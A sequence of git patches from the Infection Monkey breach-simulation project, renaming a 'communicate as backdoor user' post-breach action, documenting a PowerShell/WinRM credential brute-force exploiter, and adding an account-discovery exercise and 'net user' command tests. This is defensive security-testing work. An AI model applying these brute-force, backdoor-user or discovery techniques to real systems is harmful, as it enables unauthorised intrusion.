a/monkey/monkey_island/cc/services/telemetry/processing/post_breach.py +++ b/monkey/monkey_island/cc/services/telemetry/processing/post_breach.py @@ -1,16 +1,16 @@ import copy -from common.common_consts.post_breach_consts import POST_BREACH_COMMUNICATE_AS_NEW_USER +from common.common_consts.post_breach_consts import POST_BREACH_COMMUNICATE_AS_BACKDOOR_USER from monkey_island.cc.database import mongo from monkey_island.cc.models import Monkey -from monkey_island.cc.services.telemetry.zero_trust_checks.communicate_as_new_user import ( +from monkey_island.cc.services.telemetry.zero_trust_checks.communicate_as_backdoor_user import ( check_new_user_communication, ) EXECUTION_WITHOUT_OUTPUT = "(PBA execution produced no output)" -def process_communicate_as_new_user_telemetry(telemetry_json): +def process_communicate_as_backdoor_user_telemetry(telemetry_json): current_monkey = Monkey.get_single_monkey_by_guid(telemetry_json["monkey_guid"]) message = telemetry_json["data"]["result"][0] success = telemetry_json["data"]["result"][1] @@ -18,7 +18,7 @@ def process_communicate_as_new_user_telemetry(telemetry_json): POST_BREACH_TELEMETRY_PROCESSING_FUNCS = { - POST_BREACH_COMMUNICATE_AS_NEW_USER: process_communicate_as_new_user_telemetry, + POST_BREACH_COMMUNICATE_AS_BACKDOOR_USER: process_communicate_as_backdoor_user_telemetry, } diff --git a/monkey/monkey_island/cc/services/telemetry/zero_trust_checks/communicate_as_new_user.py b/monkey/monkey_island/cc/services/telemetry/zero_trust_checks/communicate_as_backdoor_user.py similarity index 88% rename from monkey/monkey_island/cc/services/telemetry/zero_trust_checks/communicate_as_new_user.py rename to monkey/monkey_island/cc/services/telemetry/zero_trust_checks/communicate_as_backdoor_user.py index 6a3ec30aa..e3fc088fd 100644 --- a/monkey/monkey_island/cc/services/telemetry/zero_trust_checks/communicate_as_new_user.py +++ b/monkey/monkey_island/cc/services/telemetry/zero_trust_checks/communicate_as_backdoor_user.py @@ -4,7 +4,7 @@ from monkey_island.cc.services.zero_trust.monkey_findings.monkey_zt_finding_serv MonkeyZTFindingService, ) -COMM_AS_NEW_USER_FAILED_FORMAT = "Monkey on {} couldn't communicate as new user. Details: {}" +COMM_AS_NEW_USER_FAILED_FORMAT = "Monkey on {} couldn't communicate as backdoor user. Details: {}" COMM_AS_NEW_USER_SUCCEEDED_FORMAT = ( "New user created by Monkey on {} successfully tried to " "communicate with the internet. Details: {}" @@ -14,7 +14,7 @@ COMM_AS_NEW_USER_SUCCEEDED_FORMAT = ( def check_new_user_communication(current_monkey, success, message): status = zero_trust_consts.STATUS_FAILED if success else zero_trust_consts.STATUS_PASSED MonkeyZTFindingService.create_or_add_to_existing( - test=zero_trust_consts.TEST_COMMUNICATE_AS_NEW_USER, + test=zero_trust_consts.TEST_COMMUNICATE_AS_BACKDOOR_USER, status=status, events=[ get_attempt_event(current_monkey), @@ -25,7 +25,7 @@ def check_new_user_communication(current_monkey, success, message): def get_attempt_event(current_monkey): tried_to_communicate_event = Event.create_event( - title="Communicate as new user", + title="Communicate as backdoor user", message="Monkey on {} tried to create a new user and communicate from it.".format( current_monkey.hostname ), @@ -40,7 +40,7 @@ def get_result_event(current_monkey, message, success): ) return Event.create_event( - title="Communicate as new user", + title="Communicate as backdoor user", message=message_format.format(current_monkey.hostname, message), event_type=zero_trust_consts.EVENT_TYPE_MONKEY_NETWORK, ) diff --git a/monkey/tests/data_for_tests/monkey_configs/monkey_config_standard.json b/monkey/tests/data_for_tests/monkey_configs/monkey_config_standard.json index b34a76feb..70176d94a 100644 --- a/monkey/tests/data_for_tests/monkey_configs/monkey_config_standard.json +++ b/monkey/tests/data_for_tests/monkey_configs/monkey_config_standard.json @@ -175,7 +175,7 @@ "PBA_windows_filename": "", "PBA_linux_filename": "", "post_breach_actions": [ - "CommunicateAsNewUser", + "CommunicateAsBackdoorUser", "ModifyShellStartupFiles", "HiddenFiles", "TrapCommand", diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/zero_trust/monkey_findings/test_monkey_zt_finding_service.py b/monkey/tests/unit_tests/monkey_island/cc/services/zero_trust/monkey_findings/test_monkey_zt_finding_service.py index 6248be02c..638837264 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/services/zero_trust/monkey_findings/test_monkey_zt_finding_service.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/zero_trust/monkey_findings/test_monkey_zt_finding_service.py @@ -18,8 +18,8 @@ EVENTS = [ timestamp=datetime.strptime("2021-01-19 12:07:17.802138", "%Y-%m-%d %H:%M:%S.%f"), ), Event.create_event( - title="Communicate as new user", - message="Monkey on gc-pc-244 couldn't communicate as new user. " + title="Communicate as backdoor user", + message="Monkey on gc-pc-244 couldn't communicate as backdoor user. " "Details: System error 5 has occurred. Access is denied.", event_type="monkey_network", timestamp=datetime.strptime("2021-01-19 12:22:42.246020", "%Y-%m-%d %H:%M:%S.%f"), @@ -28,7 +28,7 @@ EVENTS = [ TESTS = [ zero_trust_consts.TEST_ENDPOINT_SECURITY_EXISTS, - zero_trust_consts.TEST_COMMUNICATE_AS_NEW_USER, + zero_trust_consts.TEST_COMMUNICATE_AS_BACKDOOR_USER, ] STATUS = [ From 7aa230e9d0639591a8f83bd16eac772ed7717976 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Mon, 30 Aug 2021 14:18:03 +0200 Subject: [PATCH 075/454] UT: Renamed Communicate as new user --- .../test_communicate_as_backdoor_user.py | 17 +++++++++-------- 1 file changed, 9 insertions(+), 8 deletions(-) diff --git a/monkey/tests/unit_tests/infection_monkey/post_breach/actions/test_communicate_as_backdoor_user.py b/monkey/tests/unit_tests/infection_monkey/post_breach/actions/test_communicate_as_backdoor_user.py index 2a1bf8f49..6213506bb 100644 --- a/monkey/tests/unit_tests/infection_monkey/post_breach/actions/test_communicate_as_backdoor_user.py +++ b/monkey/tests/unit_tests/infection_monkey/post_breach/actions/test_communicate_as_backdoor_user.py @@ -1,38 +1,39 @@ -from infection_monkey.post_breach.actions.communicate_as_new_user import ( +from infection_monkey.post_breach.actions.communicate_as_backdoor_user import ( USERNAME_PREFIX, - CommunicateAsNewUser, + CommunicateAsBackdoorUser, ) URL = "this-is-where-i-wanna-go" def test_get_random_new_user_name(): - username = CommunicateAsNewUser.get_random_new_user_name() + username = CommunicateAsBackdoorUser.get_random_new_user_name() assert len(username) == len(USERNAME_PREFIX) + 5 assert username.islower() assert username.startswith(USERNAME_PREFIX) def test_get_commandline_for_http_request_windows(): - cmd_line = CommunicateAsNewUser.get_commandline_for_http_request(URL, is_windows=True) + cmd_line = CommunicateAsBackdoorUser.get_commandline_for_http_request(URL, is_windows=True) assert "powershell.exe" in cmd_line assert URL in cmd_line def test_get_commandline_for_http_request_linux_curl(monkeypatch): monkeypatch.setattr( - "infection_monkey.post_breach.actions.communicate_as_new_user.shutil.which", + "infection_monkey.post_breach.actions.communicate_as_backdoor_user.shutil.which", lambda _: "not None", ) - cmd_line = CommunicateAsNewUser.get_commandline_for_http_request(URL, is_windows=False) + cmd_line = CommunicateAsBackdoorUser.get_commandline_for_http_request(URL, is_windows=False) assert "curl" in cmd_line assert URL in cmd_line def test_get_commandline_for_http_request_linux_wget(monkeypatch): monkeypatch.setattr( - "infection_monkey.post_breach.actions.communicate_as_new_user.shutil.which", lambda _: None + "infection_monkey.post_breach.actions.communicate_as_backdoor_user.shutil.which", + lambda _: None, ) - cmd_line = CommunicateAsNewUser.get_commandline_for_http_request(URL, is_windows=False) + cmd_line = CommunicateAsBackdoorUser.get_commandline_for_http_request(URL, is_windows=False) assert "wget" in cmd_line assert URL in cmd_line From e435894187ef8540b604a599d6ee66e59988119a Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Mon, 30 Aug 2021 14:34:21 +0200 Subject: [PATCH 076/454] docs: Change the docs for PowerShell --- .../reference/exploiters/PowerShell.md | 36 ++++++++++++ .../reference/exploiters/powershell.md | 57 ------------------- 2 files changed, 36 insertions(+), 57 deletions(-) create mode 100644 docs/content/reference/exploiters/PowerShell.md delete mode 100644 docs/content/reference/exploiters/powershell.md diff --git a/docs/content/reference/exploiters/PowerShell.md b/docs/content/reference/exploiters/PowerShell.md new file mode 100644 index 000000000..ec8d71878 --- /dev/null +++ b/docs/content/reference/exploiters/PowerShell.md @@ -0,0 +1,36 @@ +--- +title: "PowerShell" +date: 2021-08-24T12:19:21+03:00 +draft: false +tags: ["exploit", "windows"] +--- + +### Description + +his exploiter uses brute-force to propagate to a victim through PowerShell Remoting using Windows Remote Management (WinRM). + +More on [PowerShell Remoting Protocol]("https://docs.microsoft.com/en-us/powershell/scripting/learn/remoting/winrmsecurity?view=powershell-7.1") and [Windows Remote Management]("https://docs.microsoft.com/en-us/windows/win32/winrm/portal"). + +### Implementation + +The exploit brute forces the credentials of PSRP with every possible combination of username and password that +the user provides (see ["configuration"]({{< ref "/usage/configuration" >}})). + +#### Credentials list + +The PowerShell Remoting Client has ability to use the cached username or/and password from the system we are currently +logged in. This means that the exploiter uses the following combination of credentials to propagate to the victim in the order written: + +1. Cached username and password; meaning that the client we use is going to take the stored credentials +from the system we are using to connect. In order for the user to connect without entering username and password +the victim must have enabled basic authentication, http and no encryption on the victim machine. + +2. Cached password; brute-force with different usernames and stored password. + +3. List of usernames and passwords set in the configuration. + + +#### Security considerations + +The security concerns, recommendations and best practices when using PowerShell Remoting +can be found [here](https://docs.microsoft.com/en-us/powershell/scripting/learn/remoting/winrmsecurity?view=powershell-7.1). diff --git a/docs/content/reference/exploiters/powershell.md b/docs/content/reference/exploiters/powershell.md deleted file mode 100644 index 5ab8a56c6..000000000 --- a/docs/content/reference/exploiters/powershell.md +++ /dev/null @@ -1,57 +0,0 @@ ---- -title: "PowerShell" -date: 2021-08-24T12:19:21+03:00 -draft: false -tags: ["exploit", "windows"] ---- - -### Description - -PowerShell Remoting is a brute-force exploit that uses PowerShell Remoting Protocol (PSRP) and -Windows Remote Management(WinRM) services to propagate to a victim. - -### PowerShell Remoting Protocol - -PowerShell Remoting Protocol uses Windows Remote Management service, which is Microsoft implementation of Web Services -for Management (WS-Management) protocol, to allow users to run PowerShell commands on remote computers. - -PowerShell Remoting and WinRM listens on the following ports: -1. HTTP: 5895 -2. HTTPS: 5896 - -By default, PowerShell Remoting only allows connections from members of the Administrators group. Sessions are launched -under the user's context, so all operating system access controls applied to individual users and groups continue to apply -to them while connected over PowerShell Remoting. - -On private networks, the default Windows Firewall rule for PowerShell Remoting accepts all connections. On public networks, -the default Windows Firewall rule allows PowerShell Remoting connections only from within the same subnet. You have to -explicitly change that rule to open PowerShell Remoting to all connections on a public network. - -More on [PowerShell Remoting Protocol]("https://docs.microsoft.com/en-us/powershell/scripting/learn/remoting/winrmsecurity?view=powershell-7.1"). - -### Windows Remote Management - -Windows Remote Management (WinRM) is the Microsoft implementation of WS-Management Protocol, a standard Simple Object -Access Protocol (SOAP)-based, firewall-friendly protocol that allows hardware and operating systems, from different -vendors, to interoperate. - -More on [Windows Remote Management]("https://docs.microsoft.com/en-us/windows/win32/winrm/portal"). - -### Implementation - -The exploit brute forces the credentials of PSRP with every possible combination of username and password that -the user provides (see ["configuration"]({{< ref "/usage/configuration" >}})). - -#### Credentials list - -The PowerShell Remoting Client has ability to use the cached username or/and password from the system we are currently -log in. That means that the exploiter uses the following combination of credentials to propagate to the victim in the order written: - -1. Username = None and Password = None; which means that the client we use is going to take the stored credentials -from the system we are using to connect. In order for the user to connect without entering username and password -the victim must have enabled basic authentication, http and no encryption on the victim machine. - -2. Username list of usernames and Password = None; brute-force with different usernames and None as -password which means that we use the cached one from the system. - -3. List of usernames and passwords as plain-text entered by the user. From 1bf3013fc2430cd382ee1e5a72d7bf02f3419b17 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 30 Aug 2021 09:41:18 -0400 Subject: [PATCH 077/454] Update changelog for PR #1433 --- CHANGELOG.md | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 37f0fec5b..52a507773 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -42,7 +42,7 @@ Changelog](https://keepachangelog.com/en/1.0.0/). - Select Logger configuration at runtime. #971 - Select `mongo_key.bin` file location at runtime. #994 - Store Monkey agents in the configurable data_dir when monkey is "run from the - island". #997 +7 - Reformat all code using black. #1070 - Sort all imports using isort. #1081 - Address all flake8 issues. #1071 @@ -70,12 +70,12 @@ Changelog](https://keepachangelog.com/en/1.0.0/). - Improve runtime of some unit tests. #1125 - Run curl OR wget (not both) when attempting to communicate as a new user on Linux. #1407 -- Renamed Communicate as new user to Communicate as backdoor user. #1433 +- Renamed "Communicate as new user" post-breach action to "Communicate as backdoor user". #1410 ### Removed - Relevant dead code as reported by Vulture. #1149 - Island logger config and --logger-config CLI option. #1151 -- Backdoor user post breach action. #1433 +- "Back door user" post-breach action. #1410 ### Fixed - Attempt to delete a directory when monkey config reset was called. #1054 From 09f14687d3b1d75a686fb754fd45a5fa61efaa78 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 30 Aug 2021 09:44:20 -0400 Subject: [PATCH 078/454] Fixed minor typos in CHANGELOG.md --- CHANGELOG.md | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 52a507773..5c4a2f44b 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -42,7 +42,7 @@ Changelog](https://keepachangelog.com/en/1.0.0/). - Select Logger configuration at runtime. #971 - Select `mongo_key.bin` file location at runtime. #994 - Store Monkey agents in the configurable data_dir when monkey is "run from the -7 +- island". #997 - Reformat all code using black. #1070 - Sort all imports using isort. #1081 - Address all flake8 issues. #1071 @@ -70,7 +70,8 @@ Changelog](https://keepachangelog.com/en/1.0.0/). - Improve runtime of some unit tests. #1125 - Run curl OR wget (not both) when attempting to communicate as a new user on Linux. #1407 -- Renamed "Communicate as new user" post-breach action to "Communicate as backdoor user". #1410 +- The name of the "Communicate as new user" post-breach action to "Communicate + as backdoor user". #1410 ### Removed - Relevant dead code as reported by Vulture. #1149 From 00ccc3755dabcd92caac52ba82379a5fe53e8265 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 30 Aug 2021 09:46:24 -0400 Subject: [PATCH 079/454] Move changelog entries from PR #1433 from v1.11.0 to unreleased --- CHANGELOG.md | 8 +++++--- 1 file changed, 5 insertions(+), 3 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 5c4a2f44b..1b5a0776a 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -6,11 +6,16 @@ The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/). ## [Unreleased] +### Changed +- The name of the "Communicate as new user" post-breach action to "Communicate + as backdoor user". #1410 + ### Removed - Internet access check on agent start. #1402 - The "internal.monkey.internet_services" configuration option that enabled internet access checks. #1402 - Disused traceroute binaries. #1397 +- "Back door user" post-breach action. #1410 ### Fixed - Misaligned buttons and input fields on exploiter and network configuration @@ -70,13 +75,10 @@ Changelog](https://keepachangelog.com/en/1.0.0/). - Improve runtime of some unit tests. #1125 - Run curl OR wget (not both) when attempting to communicate as a new user on Linux. #1407 -- The name of the "Communicate as new user" post-breach action to "Communicate - as backdoor user". #1410 ### Removed - Relevant dead code as reported by Vulture. #1149 - Island logger config and --logger-config CLI option. #1151 -- "Back door user" post-breach action. #1410 ### Fixed - Attempt to delete a directory when monkey config reset was called. #1054 From 06351693623073f3271bbef4f9857b88e17cb8ac Mon Sep 17 00:00:00 2001 From: VakarisZ <36815064+VakarisZ@users.noreply.github.com> Date: Mon, 30 Aug 2021 16:56:34 +0300 Subject: [PATCH 080/454] Remove unused and broken package gathering feature on windows. (#1431) Agent: Remove unused and broken package gathering feature on windows. --- CHANGELOG.md | 2 ++ monkey/common/utils/wmi_utils.py | 30 ------------------- .../system_info/windows_info_collector.py | 24 --------------- .../system_info/wmi_consts.py | 12 -------- 4 files changed, 2 insertions(+), 66 deletions(-) delete mode 100644 monkey/common/utils/wmi_utils.py delete mode 100644 monkey/infection_monkey/system_info/wmi_consts.py diff --git a/CHANGELOG.md b/CHANGELOG.md index 1b5a0776a..142a9029c 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -16,6 +16,8 @@ Changelog](https://keepachangelog.com/en/1.0.0/). internet access checks. #1402 - Disused traceroute binaries. #1397 - "Back door user" post-breach action. #1410 +- Stale code in the Windows system info collector that collected installed + packages and WMI info. #1389 ### Fixed - Misaligned buttons and input fields on exploiter and network configuration diff --git a/monkey/common/utils/wmi_utils.py b/monkey/common/utils/wmi_utils.py deleted file mode 100644 index 25a2962f4..000000000 --- a/monkey/common/utils/wmi_utils.py +++ /dev/null @@ -1,30 +0,0 @@ -import sys - -if sys.platform.startswith("win"): - import pythoncom - - pythoncom.CoInitialize() - import wmi - -from .mongo_utils import MongoUtils - - -class WMIUtils: - def __init__(self): - # Static class - pass - - @staticmethod - def get_wmi_class(class_name, moniker="//./root/cimv2", properties=None): - _wmi = wmi.WMI(moniker=moniker) - - try: - if not properties: - wmi_class = getattr(_wmi, class_name)() - else: - wmi_class = getattr(_wmi, class_name)(properties) - - except wmi.x_wmi: - return - - return MongoUtils.fix_obj_for_mongo(wmi_class) diff --git a/monkey/infection_monkey/system_info/windows_info_collector.py b/monkey/infection_monkey/system_info/windows_info_collector.py index 9fb30bab2..82b41ec84 100644 --- a/monkey/infection_monkey/system_info/windows_info_collector.py +++ b/monkey/infection_monkey/system_info/windows_info_collector.py @@ -1,6 +1,4 @@ import logging -import shlex -import subprocess import sys from common.common_consts.system_info_collectors_names import MIMIKATZ_COLLECTOR @@ -10,9 +8,7 @@ from infection_monkey.system_info.windows_cred_collector.mimikatz_cred_collector sys.coinit_flags = 0 # needed for proper destruction of the wmi python module import infection_monkey.config # noqa: E402 -from common.utils.wmi_utils import WMIUtils # noqa: E402 from infection_monkey.system_info import InfoCollector # noqa: E402 -from infection_monkey.system_info.wmi_consts import WMI_CLASSES # noqa: E402 LOG = logging.getLogger(__name__) LOG.info("started windows info collector") @@ -26,8 +22,6 @@ class WindowsInfoCollector(InfoCollector): def __init__(self): super(WindowsInfoCollector, self).__init__() self._config = infection_monkey.config.WormConfiguration - self.info["reg"] = {} - self.info["wmi"] = {} def get_info(self): """ @@ -39,7 +33,6 @@ class WindowsInfoCollector(InfoCollector): LOG.debug("Running Windows collector") super(WindowsInfoCollector, self).get_info() # TODO: Think about returning self.get_wmi_info() - self.get_installed_packages() from infection_monkey.config import WormConfiguration if MIMIKATZ_COLLECTOR in WormConfiguration.system_info_collector_classes: @@ -47,23 +40,6 @@ class WindowsInfoCollector(InfoCollector): return self.info - def get_installed_packages(self): - LOG.info("Getting installed packages") - - packages = subprocess.check_output(shlex.split("dism /online /get-packages")) - self.info["installed_packages"] = packages.decode("utf-8", errors="ignore") - - features = subprocess.check_output(shlex.split("dism /online /get-features")) - self.info["installed_features"] = features.decode("utf-8", errors="ignore") - - LOG.debug("Got installed packages") - - def get_wmi_info(self): - LOG.info("Getting wmi info") - for wmi_class_name in WMI_CLASSES: - self.info["wmi"][wmi_class_name] = WMIUtils.get_wmi_class(wmi_class_name) - LOG.debug("Finished get_wmi_info") - def get_mimikatz_info(self): LOG.info("Gathering mimikatz info") try: diff --git a/monkey/infection_monkey/system_info/wmi_consts.py b/monkey/infection_monkey/system_info/wmi_consts.py deleted file mode 100644 index d9b212661..000000000 --- a/monkey/infection_monkey/system_info/wmi_consts.py +++ /dev/null @@ -1,12 +0,0 @@ -WMI_CLASSES = { - "Win32_OperatingSystem", - "Win32_ComputerSystem", - "Win32_LoggedOnUser", - "Win32_UserAccount", - "Win32_UserProfile", - "Win32_Group", - "Win32_GroupUser", - "Win32_Product", - "Win32_Service", - "Win32_OptionalFeature", -} From 9c352c1b1f434aa9b89e28baa72aca1ef98badbf Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 30 Aug 2021 10:08:46 -0400 Subject: [PATCH 081/454] Agent: Reformat long line in CommunicateAsBackdoorUser --- .../post_breach/actions/communicate_as_backdoor_user.py | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) diff --git a/monkey/infection_monkey/post_breach/actions/communicate_as_backdoor_user.py b/monkey/infection_monkey/post_breach/actions/communicate_as_backdoor_user.py index af46bc03b..8e0758c77 100644 --- a/monkey/infection_monkey/post_breach/actions/communicate_as_backdoor_user.py +++ b/monkey/infection_monkey/post_breach/actions/communicate_as_backdoor_user.py @@ -43,8 +43,10 @@ class CommunicateAsBackdoorUser(PBA): try: password = get_random_password() with create_auto_new_user(username, password) as new_user: - http_request_commandline = CommunicateAsBackdoorUser.get_commandline_for_http_request( - INFECTION_MONKEY_WEBSITE_URL + http_request_commandline = ( + CommunicateAsBackdoorUser.get_commandline_for_http_request( + INFECTION_MONKEY_WEBSITE_URL + ) ) exit_status = new_user.run_as(http_request_commandline) self.send_result_telemetry(exit_status, http_request_commandline, username) From 85316bcbb084ed57b803a73959aba0d27c91dca7 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Mon, 30 Aug 2021 16:10:14 +0200 Subject: [PATCH 082/454] UT: Add test for deactive and delete new auto windows user --- .../utils/windows/test_windows_users.py | 32 +++++++++++++++++++ 1 file changed, 32 insertions(+) create mode 100644 monkey/tests/unit_tests/infection_monkey/utils/windows/test_windows_users.py diff --git a/monkey/tests/unit_tests/infection_monkey/utils/windows/test_windows_users.py b/monkey/tests/unit_tests/infection_monkey/utils/windows/test_windows_users.py new file mode 100644 index 000000000..9e8d8da1b --- /dev/null +++ b/monkey/tests/unit_tests/infection_monkey/utils/windows/test_windows_users.py @@ -0,0 +1,32 @@ +import subprocess + +import pytest + +from infection_monkey.utils.windows.users import AutoNewWindowsUser + +TEST_USER = "test_user" +ACTIVE_NO_NET_USER = "/ACTIVE:NO" + + +@pytest.fixture +def subprocess_check_output_spy(monkeypatch): + def mock_check_output(command, stderr): + mock_check_output.command = command + + mock_check_output.command = "" + + monkeypatch.setattr(subprocess, "check_output", mock_check_output) + + return mock_check_output + + +def test_new_user_try_delete_windows(subprocess_check_output_spy): + new_user = AutoNewWindowsUser(TEST_USER, "password") + + new_user.try_deactivate_user() + assert f"net user {TEST_USER} {ACTIVE_NO_NET_USER}" in " ".join( + subprocess_check_output_spy.command + ) + + new_user.try_delete_user() + assert f"net user {TEST_USER} /delete" in " ".join(subprocess_check_output_spy.command) From d22c7813a567e4588b184b85c8939295b9916aa1 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 30 Aug 2021 13:28:25 -0400 Subject: [PATCH 083/454] BB: Switch the scanning order in tunneling tests Because the SMB exploiter deploys the 32-bit agent, which will then upgrade itself to 64-bit, it takes a long time between when exploitation is successful and the agent calls home. By switching the order that hosts are scanned in, this test runs approximately 25 seconds quicker and allows us to reduce the `keep_tunnel_open_time` setting by 30 seconds. --- envs/monkey_zoo/blackbox/config_templates/tunneling.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/envs/monkey_zoo/blackbox/config_templates/tunneling.py b/envs/monkey_zoo/blackbox/config_templates/tunneling.py index d23ad8708..15fb967d5 100644 --- a/envs/monkey_zoo/blackbox/config_templates/tunneling.py +++ b/envs/monkey_zoo/blackbox/config_templates/tunneling.py @@ -13,11 +13,11 @@ class Tunneling(ConfigTemplate): "basic_network.scope.subnet_scan_list": [ "10.2.2.9", "10.2.1.10", - "10.2.0.11", "10.2.0.12", + "10.2.0.11", ], "basic_network.scope.depth": 3, - "internal.general.keep_tunnel_open_time": 180, + "internal.general.keep_tunnel_open_time": 150, "basic.credentials.exploit_password_list": [ "Password1!", "3Q=(Ge(+&w]*", From fc49ad341b891d4174b18dd1629da4b411b36469 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Tue, 31 Aug 2021 12:13:53 +0530 Subject: [PATCH 084/454] swimm: Create exercise Add a new Post Breach Action (PBA) --- .swm/afMu3y3ny5lnrYFWl3EI.swm | 87 +++++++++++++++++++++++++++++++++++ 1 file changed, 87 insertions(+) create mode 100644 .swm/afMu3y3ny5lnrYFWl3EI.swm diff --git a/.swm/afMu3y3ny5lnrYFWl3EI.swm b/.swm/afMu3y3ny5lnrYFWl3EI.swm new file mode 100644 index 000000000..135159043 --- /dev/null +++ b/.swm/afMu3y3ny5lnrYFWl3EI.swm @@ -0,0 +1,87 @@ +{ + "id": "afMu3y3ny5lnrYFWl3EI", + "name": "Add a new Post Breach Action (PBA)", + "task": { + "dod": "You should add a new PBA to the Monkey which discovers all user accounts on the machine.", + "tests": [], + "hints": [ + "See `ScheduleJobs` PBA for an example of a PBA which only uses shell commands.", + "Make sure to add the PBA to the configuration as well.", + "MITRE ATT&CK technique T1087 articulates that adversaries may attempt to get a listing of accounts on a system or within an environment which can help them determine which accounts can aid in follow-on behavior. Therefore, the AccountDiscovery PBA is relevant to it. Make sure to map this PBA to the MITRE ATT&CK configuration and report." + ] + }, + "content": [ + { + "type": "text", + "text": "Read our documentation about adding a new PBA.\n\nAfter that we want you to add the AccountDiscovery PBA. The commands that add users for Windows and Linux can be retrieved from \\`get\\_commands\\_to\\_discover\\_accounts\\` — make sure you see how to use this function correctly.\n\nNote that the PBA should impact the T1087 MITRE technique as well!\n\n**Manual test to confirm**\n--------------------------\n\n1. Run the Monkey Island.\n \n2. Make sure your new PBA is enabled by default in the config. For this test, disable network scanning, exploiting, and all other PBAs.\n \n3. Run the Monkey Agent.\n \n4. See the PBA in the security report and in the MITRE report under the relevant technique." + }, + { + "type": "snippet", + "lines": [ + " POST_BREACH_JOB_SCHEDULING = \"Schedule jobs\"", + " POST_BREACH_TIMESTOMPING = \"Modify files' timestamps\"", + " POST_BREACH_SIGNED_SCRIPT_PROXY_EXEC = \"Signed script proxy execution\"", + "*POST_BREACH_ACCOUNT_DISCOVERY = \"Account discovery\"", + "+# SWIMMER: Put the new const here!", + " POST_BREACH_CLEAR_CMD_HISTORY = \"Clear command history\"" + ], + "firstLineNumber": 7, + "path": "monkey/common/common_consts/post_breach_consts.py", + "comments": [] + }, + { + "type": "snippet", + "lines": [ + " ", + " class AccountDiscovery(PBA):", + " def __init__(self):", + "* linux_cmds, windows_cmds = get_commands_to_discover_accounts()", + "+ # SWIMMER: Implement here!", + "* super().__init__(", + "+ pass", + "* POST_BREACH_ACCOUNT_DISCOVERY, linux_cmd=\" \".join(linux_cmds), windows_cmd=windows_cmds", + "* )" + ], + "firstLineNumber": 7, + "path": "monkey/infection_monkey/post_breach/actions/discover_accounts.py", + "comments": [] + }, + { + "type": "snippet", + "lines": [ + " \"with the help of a pre-existing signed script.\",", + " \"attack_techniques\": [\"T1216\"],", + " },", + "* {", + "+ # SWIMMER: Add details here!", + "* \"type\": \"string\",", + "* \"enum\": [\"AccountDiscovery\"],", + "* \"title\": \"Account Discovery\",", + "* \"safe\": True,", + "* \"info\": \"Attempts to get a listing of user accounts on the system.\",", + "* \"attack_techniques\": [\"T1087\"],", + "* },", + " {", + " \"type\": \"string\",", + " \"enum\": [\"ClearCommandHistory\"]," + ], + "firstLineNumber": 80, + "path": "monkey/monkey_island/cc/services/config_schema/definitions/post_breach_actions.py", + "comments": [] + }, + { + "type": "text", + "text": "" + } + ], + "symbols": {}, + "file_version": "2.0.3", + "meta": { + "app_version": "0.5.7-0", + "file_blobs": { + "monkey/common/common_consts/post_breach_consts.py": "01d31448269e5581dbe0176c289f7dd36cc5854f", + "monkey/infection_monkey/post_breach/actions/discover_accounts.py": "8fdebd0df97655e4cba3aebcdcf3c5ed1d1b6cbd", + "monkey/monkey_island/cc/services/config_schema/definitions/post_breach_actions.py": "88a3e8cb59fb0d1c07c9487bcb4eaab7b8087d84" + } + } +} From cae1206fbde0c3df274355af26ee5420c1e9a0d5 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Tue, 31 Aug 2021 12:33:07 +0530 Subject: [PATCH 085/454] swimm: Update exercise Add a new Post Breach Action (PBA) afMu3y3ny5lnrYFWl3EI --- .swm/afMu3y3ny5lnrYFWl3EI.swm | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/.swm/afMu3y3ny5lnrYFWl3EI.swm b/.swm/afMu3y3ny5lnrYFWl3EI.swm index 135159043..c922932da 100644 --- a/.swm/afMu3y3ny5lnrYFWl3EI.swm +++ b/.swm/afMu3y3ny5lnrYFWl3EI.swm @@ -13,7 +13,7 @@ "content": [ { "type": "text", - "text": "Read our documentation about adding a new PBA.\n\nAfter that we want you to add the AccountDiscovery PBA. The commands that add users for Windows and Linux can be retrieved from \\`get\\_commands\\_to\\_discover\\_accounts\\` — make sure you see how to use this function correctly.\n\nNote that the PBA should impact the T1087 MITRE technique as well!\n\n**Manual test to confirm**\n--------------------------\n\n1. Run the Monkey Island.\n \n2. Make sure your new PBA is enabled by default in the config. For this test, disable network scanning, exploiting, and all other PBAs.\n \n3. Run the Monkey Agent.\n \n4. See the PBA in the security report and in the MITRE report under the relevant technique." + "text": "Read our [documentation](https://www.guardicore.com/infectionmonkey/docs/development/adding-post-breach-actions/) about adding a new PBA.\n\nAfter that we want you to add the AccountDiscovery PBA. The commands that add users for Windows and Linux can be retrieved from \\`get\\_commands\\_to\\_discover\\_accounts\\` — make sure you see how to use this function correctly.\n\nNote that the PBA should impact the T1087 MITRE technique as well.\n\n**Manual test to confirm**\n--------------------------\n\n1. Run the Monkey Island.\n \n2. Make sure your new PBA is enabled by default in the config. For this test, disable network scanning, exploiting, and all other PBAs.\n \n3. Run the Monkey Agent.\n \n4. See the PBA in the security report and in the MITRE report under the relevant technique." }, { "type": "snippet", @@ -71,7 +71,7 @@ }, { "type": "text", - "text": "" + "text": "Many PBAs use shell commands or scripts — see `Timestomping` and `AccountDiscovery`.\n\nOn 